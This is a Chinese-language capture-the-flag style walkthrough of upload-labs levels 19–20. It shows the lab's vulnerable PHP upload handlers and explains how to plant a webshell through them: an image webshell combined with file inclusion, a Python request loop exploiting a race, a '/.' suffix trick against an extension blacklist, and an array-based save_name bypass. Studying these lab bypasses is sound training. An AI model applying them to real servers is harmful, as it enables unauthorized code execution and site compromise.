require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
......
......
......
};
这题和第十八关唯一的区别就是加入了一点验证,但是我们可以依靠文件包含加图片马解决这道题,同时访问的脚本也要发生改变(加入文件包含路径):
import requests
url = "http://localhost:89/include.php?file=./upload/webshell_create.gif"
while True:
html = requests.get(url)
if ( 'GIF89a' in str(html.text)):
print('ok')
break
创建一个和上14、15、16不一样的图片马,主要是为了访问后创建一个稳定的木马文件(毕竟这个图片最后会被修改):
然后之后就和18关一样的操作了。
值得一提的是,由于访问是通过include.php的文件包含,所以webshell建立在它的同级目录下,而不是upload里。
Pass-20(post的/. 绕过,黑名单)
漏洞点函数:move_uploaded_file()和00截断的函数一样。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
观察代码,多次实验,发现无论我们上传什么都是上传文件名都叫upload-19.jpg,所以抓包修改绕过文件名称修改,并且利用move_uploaded_file()绕过文件后缀检测。
发送到重放器修改。(用13关的方法用00截断替换掉/.也可以)
Pass-20(post的数组绕过,白名单)
这种的先上代码:
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
下面开始进行代码分析:
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
如果save_name为空,就把$_FILES['upload_file']['name']
的内容返回给$file
,但是如果不为空就返回$_POST['save_name']
的内容。
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
看图即可
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}
这里又一次检验了数组的最后一个值,那么也就和上面的图片一样可以采用双后缀绕过
else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
reset($file)
是 PHP 中的一个函数,用于将数组 $file
的内部指针重置到数组的第一个元素,并返回该元素的值。
$file[count($file) - 1]
count计算$file
的长度,这条语句是把$file
数组的最后一个值返回。
这里把$file[count($file) - 1]
的值与file的拼接回去,可以发现如果数组长为三(就像上面那张图),就可以将中间的php进行不验证。(但是这里其实不管是php还是空或是其他什么后缀,都是无法将该值上传上去的。)
一、文件包含
这种方法很明显,最后上传的文件如果不配合文件包含漏洞的话是无法进行的。
借用上面几关的文件包含就可以成功了。
二、数组绕过(count函数的特性)
既然
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
这台语句判断了是否为数组,如果我们上传的就是一个数组,那么就不会执行下面的构成数组的操作了。
我们可以对数组进行操作,如果我们上传了一个save_name数组,这个数组是下面这张图片,那么我们就可以利用count的特性,数组中为空的不计入计算。
再试想一下,如果我们上传这个数组,是不是就是将webshell.php
上传了(windows操作系统自动忽略空格)
然后根据思路构造一下报文即可。